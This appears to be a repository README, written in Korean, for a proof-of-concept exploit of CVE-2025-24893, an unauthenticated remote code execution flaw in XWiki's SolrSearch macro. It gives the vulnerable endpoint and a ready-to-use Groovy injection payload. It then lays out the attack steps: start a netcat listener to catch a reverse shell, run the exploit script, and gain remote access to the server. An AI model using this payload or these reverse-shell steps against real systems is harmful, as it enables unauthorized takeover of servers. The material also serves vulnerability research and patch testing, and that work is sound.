fomovet/cve-2025-24893CVE-2025-24893에 대한 개념 증명 익스플로잇, XWiki의 SolrSearch 매크로에서 안전하지 않은 Groovy 표현식 처리를 통한 인증되지 않은 원격 코드 실행 취약점
⚠️ XWiki에서의 인증되지 않은 원격 코드 실행
🛠️ PoC 구현: @dollarboysushil
CVE-2025-24893는 XWiki의 SolrSearch 매크로 내에서 안전하지 않은 Groovy 표현식 처리로 인해 발생하는 치명적인 RCE 취약점입니다. 공격자는 조작된 GET 요청을 통해 Groovy 코드를 주입하여 원격 코드 실행을 유발할 수 있습니다 (인증 불필요).
취약점은 XWiki의 SolrSearch 매크로(Main.SolrSearch)에 있으며, 이 매크로는 안전하지 않은 Groovy 평가를 사용하여 검색 입력을 처리합니다. 매크로는 사용자 제공 입력을 적절히 검증하지 않아 임의 코드 실행을 허용합니다.
/xwiki/bin/get/Main/SolrSearch?media=rss&text=
공격자는 text 매개변수에 Groovy 코드를 주입할 수 있으며, 이는 매크로 시스템 내 부적절한 입력 처리로 인해 서버 측에서 평가됩니다.
}}}{{async async=false}}{{groovy}}'id'.execute(){{/groovy}}{{/async}}
이로 인해 취약한 XWiki 인스턴스에서 인증되지 않은 **원격 코드 실행 (RCE)**이 발생합니다.
취약한 대상은 CVE-2025-24893의 영향을 받는 버전 15.10.8을 실행 중인 XWiki 인스턴스입니다.
역방향 셸 연결을 포착하기 위해 공격자 머신에서 Netcat 리스너를 시작합니다:
nc -lvnp 1337
익스플로잇 스크립트 CVE-2025-24893-dbs.py를 실행하여 취약한 XWiki 엔드포인트에 Groovy 기반 RCE 페이로드를 전달합니다.
성공적으로 실행되면 역방향 셸이 리스너에 다시 연결되어 공격자에게 서버에 대한 원격 액세스 권한을 부여합니다.
